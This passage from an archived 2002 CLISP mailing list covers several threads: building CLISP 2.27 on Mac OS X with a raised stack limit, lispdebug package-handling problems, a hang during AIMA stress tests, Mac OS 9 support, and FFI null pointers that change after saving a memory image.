3.31-VA-mm2 #1 (Debian)) id 16TSqv-0000NR-00 for ; Wed, 23 Jan 2002 11:14:33 -0800 Received: from voyager (D576C268.kabel.telenet.be [213.118.194.104]) by eos.telenet-ops.be (Postfix) with ESMTP id 3F5CB20B8C for ; Wed, 23 Jan 2002 20:13:52 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v480) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Sven Van Caekenberghe To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: <686200CE-1035-11D6-AA95-0003937569F8@beta9.be> X-Mailer: Apple Mail (2.480) Subject: [clisp-list] Success building on Mac OS X 10.1.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 23 11:15:13 2002 X-Original-Date: Wed, 23 Jan 2002 20:14:22 +0100 Hi, Just a quick message to let everybody know that clisp 2.27 builds out of the box on Mac OS X 10.1.2, just follow the instructions (./configure, make, ...). The only problem was a too small default stack size to complete the later steps in the build. Fix this with the command limit stacksize 4096 in the default shell (applicable to that shell only), and the build will complete. All self-tests succeeded. Great work guys, thanks! Sven --- Sven Van Caekenberghe - mailto:sven@beta9.be Beta Nine - software engineering - http://www.beta9.be From samuel.steingold@verizon.net Wed Jan 23 11:24:26 2002 Received: from mta015pub.verizon.net ([206.46.170.218] helo=mta015.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16TQc0-0005Nt-00 for ; Wed, 23 Jan 2002 08:51:00 -0800 Received: from xchange.com ([12.25.11.194]) by mta015.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020123165058.BYTV9120.mta015.verizon.net@xchange.com>; Wed, 23 Jan 2002 10:50:58 -0600 To: olczyk@interaccess.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Regexp question. References: <3c4fc863.37263546@smtp.interaccess.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3c4fc863.37263546@smtp.interaccess.com> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 23 11:25:04 2002 X-Original-Date: 23 Jan 2002 11:50:23 -0500 > * In message <3c4fc863.37263546@smtp.interaccess.com> > * On the subject of "[clisp-list] Regexp question." > * Sent on Wed, 23 Jan 2002 14:30:44 GMT > * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: > > According to the documentation in rhe regexp manual, > match is supposed to return a list; the first value not a list, but multiple values > is a regex_t describing the whole expression > the subsequent values are regex_t for each subgroup. please read and the "See also" section there. what you want to use is MULTIPLE-VALUE-BIND. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Type louder, please. From rrschulz@cris.com Wed Jan 23 11:48:46 2002 Received: from uhura.concentric.net ([206.173.118.93]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16TTNz-00063i-00 for ; Wed, 23 Jan 2002 11:48:43 -0800 Received: from marconi.concentric.net (marconi.concentric.net [206.173.118.71]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id g0NJmdT21659 for ; Wed, 23 Jan 2002 14:48:39 -0500 (EST) Received: from Clemens.cris.com (da003d0758.sjc-ca.osd.concentric.net [64.1.2.247]) by marconi.concentric.net (8.9.1a) id OAA26342; Wed, 23 Jan 2002 14:48:22 -0500 (EST) Message-Id: <5.1.0.14.2.20020123114716.02234880@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] Success building on Mac OS X 10.1.2 In-Reply-To: <686200CE-1035-11D6-AA95-0003937569F8@beta9.be> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 23 11:49:08 2002 X-Original-Date: Wed, 23 Jan 2002 11:48:16 -0800 Sven, For BASH users, the equivalent invocation is this: ulimit -s 4096 Randall Schulz Mountain View, CA USA At 11:14 2002-01-23, Sven Van Caekenberghe wrote: >Hi, > >Just a quick message to let everybody know that clisp 2.27 builds out of >the box on Mac OS X 10.1.2, just follow the instructions (./configure, >make, ...). The only problem was a too small default stack size to >complete the later steps in the build. Fix this with the command > >limit stacksize 4096 > >in the default shell (applicable to that shell only), and the build will >complete. All self-tests succeeded. > >Great work guys, thanks! > >Sven > >--- >Sven Van Caekenberghe - mailto:sven@beta9.be From samuel.steingold@verizon.net Wed Jan 23 17:07:33 2002 Received: from mta017pub.verizon.net ([206.46.170.222] helo=mta017.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16TQl5-0004dS-00 for ; Wed, 23 Jan 2002 09:00:23 -0800 Received: from xchange.com ([12.25.11.194]) by mta017.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020123170018.BXNR9090.mta017.verizon.net@xchange.com>; Wed, 23 Jan 2002 11:00:18 -0600 To: olczyk@interaccess.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can anyone help me lispdebug? References: <3c4b6db7.172259546@smtp.interaccess.com> <3c4bbc6b.192407812@smtp.interaccess.com> <3c4b98b5.248801796@smtp.interaccess.com> <3c4e6ecf.303611203@smtp.interaccess.com> <3c4ec44b.36215765@smtp.interaccess.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3c4ec44b.36215765@smtp.interaccess.com> Message-ID: Lines: 53 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 23 17:08:03 2002 X-Original-Date: 23 Jan 2002 11:59:42 -0500 > * In message <3c4ec44b.36215765@smtp.interaccess.com> > * On the subject of "Re: [clisp-list] Can anyone help me lispdebug?" > * Sent on Wed, 23 Jan 2002 14:27:32 GMT > * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: > > On 21 Jan 2002 15:46:09 -0500, Sam Steingold wrote: > > >> >(describe '*package-tasks-treat-specially*) ==> ? > > > >please do evaluate this form to make sure that you do have the variable > >(i.e., that your CLISP is recent enough). > > > CLisp-2.27. > It says the variable is nil. okay. next time, when I take my time to type in a form, please do take your time to copy and paste it into your (freshly started with a '-norc' option) CLISP and then copy and paste the output into your reply. > >> I put: (setf *package-tasks-treat-specially* nil) at the begining of > >> every file in the package ( well every clisp relevant file I left > >> things like inst-cmucl.lisp alone ). > > > >this is an overkill. > >you should just set the var once. > > > But it is OK isn't it. Yeah it's overkill, but that way I'm sure the > variable is nil. you are making a mistake. instead, make sure this variable is not set in any file you use. if you want to get something done (and learn something in the process), I suggest that you pay attention to the advice you are getting here. > The funny thing is that it seems that in-package causes a lot of > problems, by insisting on being evaluated during compiles and loads. this is what IN-PACKAGE is required to do - by the CLHS. > I'll do this, it will take some time though since I'll write a script > which does all this. ( That way I guarantee that I have a fresh system > each time. ) do _not_ waste your time writing scripts. save old files and use diff(1) and patch(1) - included if you are on a Unix, available with cygwin on woe32. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! It's not just a language, it's an adventure. Common Lisp. From olczyk@interaccess.com Wed Jan 23 22:32:16 2002 Received: from from.interaccess.com ([207.208.131.20] helo=clavin.interaccess.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16TdQk-0008RJ-00 for ; Wed, 23 Jan 2002 22:32:14 -0800 Received: from d156.focal10.interaccess.com (d156.focal10.interaccess.com [207.208.141.156]) by clavin.interaccess.com (8.10.2/8.10.2) with SMTP id g0O6W1b00393 for ; Thu, 24 Jan 2002 00:32:02 -0600 (CST) From: olczyk@interaccess.com (Thaddeus L. Olczyk) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can anyone help me lispdebug? Organization: stickit@nospammers.com Reply-To: olczyk@interaccess.com Message-ID: <3c509571.89757734@smtp.interaccess.com> References: <3c4b6db7.172259546@smtp.interaccess.com> <3c4bbc6b.192407812@smtp.interaccess.com> <3c4b98b5.248801796@smtp.interaccess.com> <3c4e6ecf.303611203@smtp.interaccess.com> <3c4ec44b.36215765@smtp.interaccess.com> In-Reply-To: X-Mailer: Forte Agent 1.5/32.451 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 23 22:33:02 2002 X-Original-Date: Thu, 24 Jan 2002 06:32:16 GMT On 23 Jan 2002 11:59:42 -0500, Sam Steingold wrote: >> * In message <3c4ec44b.36215765@smtp.interaccess.com> >> * On the subject of "Re: [clisp-list] Can anyone help me lispdebug?" >> * Sent on Wed, 23 Jan 2002 14:27:32 GMT >> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: >> >> On 21 Jan 2002 15:46:09 -0500, Sam Steingold wrote: >>=20 >> >> >(describe '*package-tasks-treat-specially*) =3D=3D> ? >> > >> >please do evaluate this form to make sure that you do have the = variable >> >(i.e., that your CLISP is recent enough). >> > >> CLisp-2.27. >> It says the variable is nil. > >okay. next time, when I take my time to type in a form, please do take >your time to copy and paste it into your (freshly started with a '-norc' >option) CLISP and then copy and paste the output into your reply. > Sorry I misunderstood.=20 Here is the output. { I also did=20 (symbol-plist '*package-tasks-treat-specially*) since describe suggested it. } -------------------------------------------------------------------------= ------------------------------------------------------------------ calling clisp [1]>=20 *PACKAGE-TASKS-TREAT-SPECIALLY* is the symbol *PACKAGE-TASKS-TREAT-SPECIALLY*, lies in #, is accessible in the packages COMMON-LISP-USER, CUSTOM, EXT, FFI, SCREEN, SYSTEM, a variable declared SPECIAL, value: NIL, has the property SYSTEM::DOCUMENTATION-STRINGS. Documentation as a VARIABLE: Treat package-related operations the same way at compile and load time. =46or more information, evaluate (SYMBOL-PLIST '*PACKAGE-TASKS-TREAT-SPECIALLY*). # is the package named CUSTOM. It exports 38 symbols to the package EXT. NIL is the empty list, the symbol NIL, lies in #, is accessible in the packages CLOS, COMMON-LISP, COMMON-LISP-USER, EXT, FFI, POSIX, REGEXP, SCREEN, SYSTEM, a constant, value: NIL, names a type, has the properties SYSTEM::INSTRUCTION, SYSTEM::TYPE-SYMBOL. For more information, evaluate (SYMBOL-PLIST 'NIL). # is the package named COMMON-LISP. It has the nicknames LISP, CL. It imports the external symbols of the package CLOS and exports 950 symbols to the packages REGEXP, FFI, SCREEN, CLOS, POSIX, COMMON-LISP-USER, EXT, SYSTEM. NIL [see above] [2]>=20 (SYSTEM::DOCUMENTATION-STRINGS (VARIABLE "Treat package-related operations the same way at compile and load time.")) [3]>=20 -------------------------------------------------------------------------= -------------------------------------------------------------------------= ------------ > >you are making a mistake. >instead, make sure this variable is not set in any file you use. > >if you want to get something done (and learn something in the process), >I suggest that you pay attention to the advice you are getting here. > Uhm. The very first time you mentioned this variable you said: :>set *package-tasks-treat-specially* to NIL. :>(this is the default in the CVS) so I set it. And then made sure it was set everywhere. If you want I can make sure that it is not set. >> The funny thing is that it seems that in-package causes a lot of >> problems, by insisting on being evaluated during compiles and loads. > >this is what IN-PACKAGE is required to do - by the CLHS. > Hmm. I get the fealing that lispdebug doesn't expect this behaviour. The function in my first post is not used when lispdebug is run. It is used when lispdebug is being compiled and installed.=20 Perhaps this is old behaviour that was changed and the writer of lispdebug no longer maintains the CLisp version? >> I'll do this, it will take some time though since I'll write a script >> which does all this. ( That way I guarantee that I have a fresh system >> each time. ) > >do _not_ waste your time writing scripts. >save old files and use diff(1) and patch(1) - included if you are on >a Unix, available with cygwin on woe32. You forgot that before I go on I want to install fresh clisp and lispdebug. So I have to delete the old ones, extract the new ones, tweak the things I need to tweak, then finally install. I prefer to do this from a script since I can always reinstall if I even have the slightest suggestion that the installation has been corrupted. From marcoxa@cs.nyu.edu Thu Jan 24 10:40:36 2002 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Tonb-0005MA-00 for ; Thu, 24 Jan 2002 10:40:35 -0800 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id g0OIeS628037; Thu, 24 Jan 2002 13:40:28 -0500 Message-Id: <200201241840.g0OIeS628037@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: olczyk@interaccess.com CC: clisp-list@lists.sourceforge.net In-reply-to: <3c509571.89757734@smtp.interaccess.com> (olczyk@interaccess.com) Subject: Re: [clisp-list] Can anyone help me lispdebug? References: <3c4b6db7.172259546@smtp.interaccess.com> <3c4bbc6b.192407812@smtp.interaccess.com> <3c4b98b5.248801796@smtp.interaccess.com> <3c4e6ecf.303611203@smtp.interaccess.com> <3c4ec44b.36215765@smtp.interaccess.com> <3c509571.89757734@smtp.interaccess.com> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 24 10:41:03 2002 X-Original-Date: Thu, 24 Jan 2002 13:40:28 -0500 > From: olczyk@interaccess.com (Thaddeus L. Olczyk) > Organization: stickit@nospammers.com > Reply-To: olczyk@interaccess.com > Content-Type: text/plain; charset=us-ascii > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0.5 > Precedence: bulk > Uhm. The very first time you mentioned this variable you said: > > :>set *package-tasks-treat-specially* to NIL. > :>(this is the default in the CVS) > so I set it. And then made sure it was set everywhere. > If you want I can make sure that it is not set. > > >> The funny thing is that it seems that in-package causes a lot of > >> problems, by insisting on being evaluated during compiles and loads. > > > >this is what IN-PACKAGE is required to do - by the CLHS. > > > Hmm. I get the fealing that lispdebug doesn't expect this behaviour. Then lispdebug is a non-conformant program. You need to fix lispdebug, not CLisp. > The function in my first post is not used when lispdebug is run. It is > used when lispdebug is being compiled and installed. > Perhaps this is old behaviour that was changed and the writer of > lispdebug no longer maintains the CLisp version? Perhaps. How does CLisp work with other CL implementations (if it does at all)? Ciao -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From edi@agharta.de Thu Jan 24 10:55:12 2002 Received: from h-213.61.102.30.host.de.colt.net ([213.61.102.30] helo=bird.agharta.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Tp1j-0000gh-00 for ; Thu, 24 Jan 2002 10:55:11 -0800 Received: by bird.agharta.de (Postfix on SuSE Linux 7.3 (i386), from userid 500) id 492CC12E5C3; Thu, 24 Jan 2002 19:53:17 +0100 (CET) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can anyone help me lispdebug? References: <3c4b6db7.172259546@smtp.interaccess.com> <3c4bbc6b.192407812@smtp.interaccess.com> <3c4b98b5.248801796@smtp.interaccess.com> <3c4e6ecf.303611203@smtp.interaccess.com> <3c4ec44b.36215765@smtp.interaccess.com> <3c509571.89757734@smtp.interaccess.com> <200201241840.g0OIeS628037@octagon.mrl.nyu.edu> From: edi@agharta.de (Dr. Edmund Weitz) In-Reply-To: <200201241840.g0OIeS628037@octagon.mrl.nyu.edu> Message-ID: Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 24 10:56:02 2002 X-Original-Date: 24 Jan 2002 19:53:17 +0100 Marco Antoniotti writes: > > The function in my first post is not used when lispdebug is > > run. It is used when lispdebug is being compiled and installed. > > Perhaps this is old behaviour that was changed and the writer of > > lispdebug no longer maintains the CLisp version? > > Perhaps. How does CLisp work with other CL implementations (if it > does at all)? You mean lispdebug, I suppose. Works fine with CMUCL. Edi. From jnswart@stargate.net Fri Jan 25 14:58:39 2002 Received: from smtp3.mx.pitdc1.stargate.net ([206.210.69.143]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16UFIs-0001vd-00 for ; Fri, 25 Jan 2002 14:58:38 -0800 Received: (qmail 7361 invoked from network); 25 Jan 2002 22:40:46 -0000 Received: from unknown (HELO stargate.net) (208.40.143.204) by smtp3.mx.pitdc1.stargate.net with SMTP; 25 Jan 2002 22:40:46 -0000 Message-ID: <3C51DD72.C96FE0CB@stargate.net> From: Nico X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.2 i386) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] clisp apparently hangs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 25 14:59:01 2002 X-Original-Date: Fri, 25 Jan 2002 17:34:26 -0500 Out of boredom I ran the following on CLISP today (load "aima.lisp") (aima-load 'all) (dotimes (n 100) (test 'all) (format t "~%Test number = ~A~%" (1+ n))) to 'stress' test CLISP. The AIMA package is the lisp source code from the book Artificial Intelligence: A Modern Approach by Peter Norvig and Stuart Russell (available on the web). At some point it hangs and just eats up processor time. I tried this on Windows NT4.0 and FreeBSD 4.5, both with Clisp 2.27. I did not expect this. Any explanations for this ? Nico Swart. From jnswart@stargate.net Fri Jan 25 16:32:37 2002 Received: from smtp1.mx.pitdc1.stargate.net ([206.210.69.141]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16UGlk-0004cx-00 for ; Fri, 25 Jan 2002 16:32:32 -0800 Received: (qmail 20095 invoked from network); 26 Jan 2002 00:32:28 -0000 Received: from dap-208-40-142-216.tnt-1.npt.prihub.pa.stargate.net (HELO stargate.net) (208.40.142.216) by smtp1.mx.pitdc1.stargate.net with SMTP; 26 Jan 2002 00:32:28 -0000 Message-ID: <3C51F7C4.E989131F@stargate.net> From: Nico X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.2 i386) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] clisp appears to hang Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 25 16:33:04 2002 X-Original-Date: Fri, 25 Jan 2002 19:26:44 -0500 Referring to the "aima" test I did earlier on CLISP, I repeated the test with CMUCL under FreeBSD to verify the system (memory,etc). The test under CMUCL completed successfully. GC times increases slightly, but then stay constant. Nico Swart From samuel.steingold@verizon.net Fri Jan 25 17:30:40 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16UHfz-0007XW-00 for ; Fri, 25 Jan 2002 17:30:39 -0800 Received: from xchange.com ([151.203.224.58]) by out020.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020126013037.RVUN4908.out020.verizon.net@xchange.com>; Fri, 25 Jan 2002 19:30:37 -0600 To: Nico Cc: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] clisp apparently hangs References: <3C51DD72.C96FE0CB@stargate.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3C51DD72.C96FE0CB@stargate.net> Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 25 17:31:01 2002 X-Original-Date: 25 Jan 2002 20:30:17 -0500 > * In message <3C51DD72.C96FE0CB@stargate.net> > * On the subject of "[clisp-list] clisp apparently hangs" > * Sent on Fri, 25 Jan 2002 17:34:26 -0500 > * Honorable Nico writes: > > At some point it hangs and just eats up processor time. please figure out which form hangs CLISP and create a stand-alone test. thanks. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Save your burned out bulbs for me, I'm building my own dark room. From rainer@cui.unige.ch Sat Jan 26 07:14:42 2002 Received: from smtp-out-2.wanadoo.fr ([193.252.19.254] helo=mel-rto2.wanadoo.fr) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16UUXQ-0003DO-00 for ; Sat, 26 Jan 2002 07:14:40 -0800 Received: from mel-rta6.wanadoo.fr (193.252.19.222) by mel-rto2.wanadoo.fr; 26 Jan 2002 16:14:32 +0100 Received: from [193.248.26.22] (193.248.26.22) by mel-rta6.wanadoo.fr; 26 Jan 2002 16:14:20 +0100 User-Agent: Microsoft Outlook Express Macintosh Edition - 5.01 (1630) From: Rainer Boesch To: Message-ID: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Subject: [clisp-list] clisp on Mac OS 9.04 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 26 07:15:06 2002 X-Original-Date: Sat, 26 Jan 2002 16:07:23 +0100 rainer writes: >>then I tried >>clisp-2.27-PowerMacintosh-power >>but have no idea how to make this run?? Sam Steingold asks: >what exactly is your problem? rainer writes: thank you for your hint: my problem is, that I run System 9.04 on Mac and that I can not run mac os X because of some of the music-programs. So, is there a version of clisp-2.27-PowerMacintosh-power for system 9? thank you rainer From samuel.steingold@verizon.net Sat Jan 26 09:04:30 2002 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16UWFg-0000CS-00 for ; Sat, 26 Jan 2002 09:04:28 -0800 Received: from xchange.com ([151.203.224.58]) by pop018.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020126170422.UCDK11895.pop018.verizon.net@xchange.com>; Sat, 26 Jan 2002 11:04:22 -0600 To: Rainer Boesch Cc: Subject: Re: [clisp-list] clisp on Mac OS 9.04 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 26 09:05:06 2002 X-Original-Date: 26 Jan 2002 12:03:44 -0500 > * In message > * On the subject of "[clisp-list] clisp on Mac OS 9.04" > * Sent on Sat, 26 Jan 2002 16:07:23 +0100 > * Honorable Rainer Boesch writes: > > rainer writes: > >>then I tried > >>clisp-2.27-PowerMacintosh-power > >>but have no idea how to make this run?? > > Sam Steingold asks: > >what exactly is your problem? > > rainer writes: > thank you for your hint: > my problem is, that I run System 9.04 on Mac and that I can not run mac os X > because of some of the music-programs. > > So, is there a version of > clisp-2.27-PowerMacintosh-power > for system 9? I am afraid I will have to disappoint you: I really doubt that CLISP can be compiled under MacOS/9. You can certainly try to port CLISP to MacOS/9, but I think the cost-effective solution would be to upgrade to MacOS/X. [use "follow-up", not "reply", so that you message goes to the list!] -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! will write code that writes code that writes code for food From kaz@footprints.net Sat Jan 26 10:29:52 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16UXaK-0000JC-00 for ; Sat, 26 Jan 2002 10:29:52 -0800 Received: from kaz (helo=localhost) by ashi.FootPrints.net with local-esmtp (Exim 3.16 #1) id 16UXaI-0005Hu-00 for clisp-list@lists.sourceforge.net; Sat, 26 Jan 2002 10:29:50 -0800 From: Kaz Kylheku To: In-Reply-To: <861yj8o2ch.fsf@coulee.tdb.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Strangeness involving FFI pointers and ext:saveimage. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 26 10:30:06 2002 X-Original-Date: Sat, 26 Jan 2002 10:29:50 -0800 (PST) Some CLISP code of mine was crashing, but only when run from a loaded memory image, not when loaded directly as .lisp or .fas files. It turns out that it was failing to detect a null pointer coming out of a glibc2 function (I'm using a CLISP built using --with-modules=bindings/linuxlibc6). And so it then passed the null pointer to the library, which tries to dereference a structure member in it, causing a fault at address 0x10. My program tries to capture a null pointer by doing this ugly hack: (defconstant *null-pointer* (linux:realloc (linux:malloc 1) 0)) This gives you an object which prints like this: # It compares positively to other such null pointers under the EQUALP function, so you can use it, for instance, to detect linux:readdir returning NULL. Now here is the rub. After having defined *null-pointer*, if you save the memory image with ext:saveinitmem, and then reload, the value of *null-pointer* now prints like this: # ^^^^^^^^ This object no longer compares EQUALP to newly computed null pointers. Something in its representation has changed on save and reload, which is disturbing. I'd like to know what the recommended way is to test for null pointers coming out of the FFI. Should I convert #<... #x00000000> to a string and parse out the hex or what? Or compile in a C function to do it? For now I have a workaround, which is to make *null-pointer* a variable, and setf a new value to it right after loading the memory image. From samuel.steingold@verizon.net Sat Jan 26 11:46:51 2002 Received: from mta013pub.verizon.net ([206.46.170.214] helo=mta013.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16UYmo-0004Xv-00 for ; Sat, 26 Jan 2002 11:46:51 -0800 Received: from xchange.com ([151.203.224.58]) by mta013.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020126194643.FGLW24771.mta013.verizon.net@xchange.com>; Sat, 26 Jan 2002 13:46:43 -0600 To: Nico Cc: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] clisp apparently hangs References: <3C51DD72.C96FE0CB@stargate.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. 